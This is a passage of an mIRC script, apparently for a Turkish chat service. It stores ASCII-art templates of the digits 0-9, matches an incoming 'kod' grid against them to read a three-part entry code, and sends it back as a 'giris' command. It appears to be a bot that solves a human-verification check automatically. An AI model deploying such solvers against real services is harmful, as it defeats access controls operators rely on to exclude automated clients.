hadd -m kod0 satir7 0,0##4######0##
hadd -m kod1 satir1 0,0###4###0####
hadd -m kod1 satir2 0,0##4####0####
hadd -m kod1 satir3 0,0#4#####0####
hadd -m kod1 satir4 0,0####4##0####
hadd -m kod1 satir5 0,0####4##0####
hadd -m kod1 satir6 0,0####4##0####
hadd -m kod1 satir7 0,0#4########0#
hadd -m kod2 satir1 0,0##4######0##
hadd -m kod2 satir2 0,0#4##0####4##0#
hadd -m kod2 satir3 0,0#######4##0#
hadd -m kod2 satir4 0,0######4##0##
hadd -m kod2 satir5 0,0#####4##0###
hadd -m kod2 satir6 0,0###4##0#####
hadd -m kod2 satir7 0,0#4########0#
hadd -m kod3 satir1 0,0#4#######0##
hadd -m kod3 satir2 0,0#######4##0#
hadd -m kod3 satir3 0,0#######4##0#
hadd -m kod3 satir4 0,0#4#######0##
hadd -m kod3 satir5 0,0#######4##0#
hadd -m kod3 satir6 0,0#######4##0#
hadd -m kod3 satir7 0,0#4#######0##
hadd -m kod4 satir1 0,0#4##0#######
hadd -m kod4 satir2 0,0#4##0#######
hadd -m kod4 satir3 0,0#4##0##4##0###
hadd -m kod4 satir4 0,0#4##0##4##0###
hadd -m kod4 satir5 0,0#4##0##4##0###
hadd -m kod4 satir6 0,0#4########0#
hadd -m kod4 satir7 0,0#0####4##0###
hadd -m kod5 satir1 0,0#4########0#
hadd -m kod5 satir2 0,0#4#0########
hadd -m kod5 satir3 0,0#4#0########
hadd -m kod5 satir4 0,0#4#######0##
hadd -m kod5 satir5 0,0########4#0#
hadd -m kod5 satir6 0,0########4#0#
hadd -m kod5 satir7 0,0#4#######0##
hadd -m kod6 satir1 0,0##4#######0#
hadd -m kod6 satir2 0,0#4##0#######
hadd -m kod6 satir3 0,0#4##0#######
hadd -m kod6 satir4 0,0#4#######0##
hadd -m kod6 satir5 0,0#4##0####4##0#
hadd -m kod6 satir6 0,0#4##0####4##0#
hadd -m kod6 satir7 0,0##4######0##
hadd -m kod7 satir1 0,0#4########0#
hadd -m kod7 satir2 0,0#######4##0#
hadd -m kod7 satir3 0,0######4##0##
hadd -m kod7 satir4 0,0#####4##0###
hadd -m kod7 satir5 0,0####4##0####
hadd -m kod7 satir6 0,0###4##0#####
hadd -m kod7 satir7 0,0##4##0######
hadd -m kod8 satir1 0,0##4######0##
hadd -m kod8 satir2 0,0#4##0####4##0#
hadd -m kod8 satir3 0,0#4##0####4##0#
hadd -m kod8 satir4 0,0##4#4#####0##
hadd -m kod8 satir5 0,0#4##0####4##0#
hadd -m kod8 satir6 0,0#4##0####4##0#
hadd -m kod8 satir7 0,0##4######0##
hadd -m kod9 satir1 0,0##4######0##
hadd -m kod9 satir2 0,0#4##0####4##0#
hadd -m kod9 satir3 0,0#4##0####4##0#
hadd -m kod9 satir4 0,0##4#######0#
hadd -m kod9 satir5 0,0#######4##0#
hadd -m kod9 satir6 0,0#######4##0#
hadd -m kod9 satir7 0,0##4######0##
var %giriskod1 $kontrol(1)
var %giriskod2 $kontrol(2)
var %giriskod3 $kontrol(3)
hfree kod
hfree kod0
hfree kod1
hfree kod2
hfree kod3
hfree kod4
hfree kod5
hfree kod6
hfree kod7
hfree kod8
hfree kod9
unset %kodsatir
if ( %giriskod1 == $null ) || ( %giriskod2 == $null ) || ( %giriskod3 == $null ) { echo -a Giriş Kodu Bulunamadı! | halt }
if $sock($1) { SockWrite -nt $1 giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }
if $1 == $me { giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }
}
alias kontrol {
if ( $1 == $null ) { echo -a eksik | halt }
if ( $1 = 1 ) {
var %aralikba 1
var %aralikbi 30
}
if ( $1 = 2 ) {
var %aralikba 15
var %aralikbi 30
}
if ( $1 = 3 ) {
var %aralikba 35
var %aralikbi 50
}
var %ii -1
var %tt 9
while %ii < %tt {
inc %ii
;echo -a Kontrol Edilen Değer %ii
var %i 0
var %t 7
var %ttoplam 0
while %i < %t {
inc %i
;echo -a $mid($hget(kod, satir $+ %i), %aralikba, %aralikbi)
if ( $hget(kod $+ %ii, satir $+ %i) != $null ) {
if ( * $+ $hget(kod $+ %ii, satir $+ %i) $+ * iswm $mid($hget(kod, satir $+ %i),%aralikba,%aralikbi) ) {
inc %ttoplam 2
}
}
}
if ( %ttoplam == 14 ) { return %ii }
}
}
|
|
|
|
|
